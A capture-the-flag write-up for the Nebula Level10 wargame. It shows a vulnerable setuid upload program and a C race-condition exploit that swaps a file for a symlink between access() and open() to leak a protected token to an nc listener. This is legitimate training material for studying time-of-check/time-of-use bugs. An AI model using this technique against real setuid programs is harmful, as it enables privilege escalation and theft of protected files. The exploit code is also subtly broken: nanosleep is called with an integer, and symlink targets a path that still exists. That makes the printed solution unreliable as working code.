master
Raw Download raw file

Nebula - Level10 - Upload

About

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call. To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

Solution

This program has a race condition from the use of the access() system call prior to actually calling the open() call. Instead of racing the program by hand, create a program to randomly select an interval in which to attempt a race [1]. Note that this does require that the nosuid option is NOT set on a mounted file system. Use nc -lk 18211 > output.txt to save the outputs from the attempted connections. Execute the race program with ./<program name> > pOutput.txt.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/*usage: ./prog <file to link>*/
int main(int argc, char** argv){
    // create array for CLI args
    char* const linkFile[3] = {"flag10", "/home/level10/token", "127.0.0.1"};
    FILE* fp = 0;
    while (1){
        // remove the link from the previous loop
        unlink(linkFile[1]);
        // recreate the file to prevent an access error
        fp = fopen(linkFile[1], "w");
        fprintf(fp, "%s", "");
        fclose(fp);
        // randomize the sleeping value
        // this allows to randomly exploit a race condition
        // this value is dependent on hardware, system load, and
        // several other factors
        int sleepVal = rand() % 20;
        int childpid = fork();
        // this is the new process
        if (childpid == 0){
            nanosleep(sleepVal);
            // system() allows us not to need the array
            system("/home/flag10/flag10 /home/level10/token 127.0.0.1");
            //execv("/home/flag10/flag10", linkFile);
            return 0;
        // an error occurred
        } else if (childpid < 0) {
            sleep(1);
        // race to change to the file to a link between the time access() is
        // called and the time open() is called
        } else {
            symlink("/home/flag10/token", linkFile[1]);
        }
        // try not to overload the system,
        // and allow the vulnerable program to read the link
        nanosleep(500);
    }
    return 0;
}